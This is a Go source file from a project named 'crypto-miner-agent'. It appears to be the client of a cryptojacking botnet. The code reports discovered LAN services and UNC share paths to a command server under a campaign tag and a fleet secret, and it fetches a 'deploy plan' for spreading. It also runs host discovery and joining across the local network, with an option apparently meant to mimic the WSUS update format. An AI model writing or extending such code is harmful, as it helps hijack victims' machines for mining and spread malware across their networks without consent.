package client

import (
	"bytes"
	"encoding/json"
	"fmt"
	"io"
	"net/http"
	"os"
	"runtime"
	"strings"
	"time"

	"crypto-miner-agent/deploy"
)

func (c *AgentClient) setJoinLane(lane string) {
	c.mu.Lock()
	c.joinLane = strings.TrimSpace(lane)
	c.mu.Unlock()
}

func (c *AgentClient) getJoinLane() string {
	c.mu.Lock()
	defer c.mu.Unlock()
	return c.joinLane
}

func (c *AgentClient) fetchDeployPlan(services []deploy.DeployServiceFinding, uncPath string) (deploy.DeployPlanResponse, error) {
	var out deploy.DeployPlanResponse
	base, err := c.apiBaseURL(c.cfg.ServerURL)
	if err != nil {
		return out, err
	}
	body, _ := json.Marshal(map[string]interface{}{
		"agent_id":          c.agentID,
		"build_id":          c.cfg.BuildID,
		"campaign":          strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
		"platform":          runtime.GOOS,
		"services":          services,
		"unc_path":          uncPath,
		"wsus_format_mimic": c.cfg.WSUSFormatMimic,
	})
	req, err := http.NewRequest(http.MethodPost, base+"/agent/deploy-plan", bytes.NewReader(body))
	if err != nil {
		return out, err
	}
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
	client := &http.Client{Timeout: 60 * time.Second}
	resp, err := client.Do(req)
	if err != nil {
		return out, err
	}
	data, _ := io.ReadAll(resp.Body)
	resp.Body.Close()
	if resp.StatusCode == http.StatusForbidden {
		return out, fmt.Errorf("deploy-plan auth rejected")
	}
	if resp.StatusCode != http.StatusOK {
		return out, fmt.Errorf("deploy-plan HTTP %s: %s", resp.Status, strings.TrimSpace(string(data)))
	}
	if err := json.Unmarshal(data, &out); err != nil {
		return out, err
	}
	if !out.OK && out.Error != "" {
		return out, fmt.Errorf("%s", out.Error)
	}
	if out.JoinLane == "" && out.Plan.JoinLane != "" {
		out.JoinLane = out.Plan.JoinLane
	}
	out.OK = true
	return out, nil
}

func (c *AgentClient) runDiscoverAndJoin(maxLANHosts int) (string, error) {
	fetch := func(services []deploy.DeployServiceFinding, uncPath string) (deploy.DeployPlanResponse, error) {
		return c.fetchDeployPlan(services, uncPath)
	}
	lane, detail, err := deploy.RunDiscoverAndJoinAs(c.cfg, maxLANHosts, c.agentID, fetch)
	if err != nil {
		return "", err
	}
	if lane != "" {
		c.setJoinLane(lane)
	}
	return fmt.Sprintf("join_lane=%s; %s", lane, detail), nil
}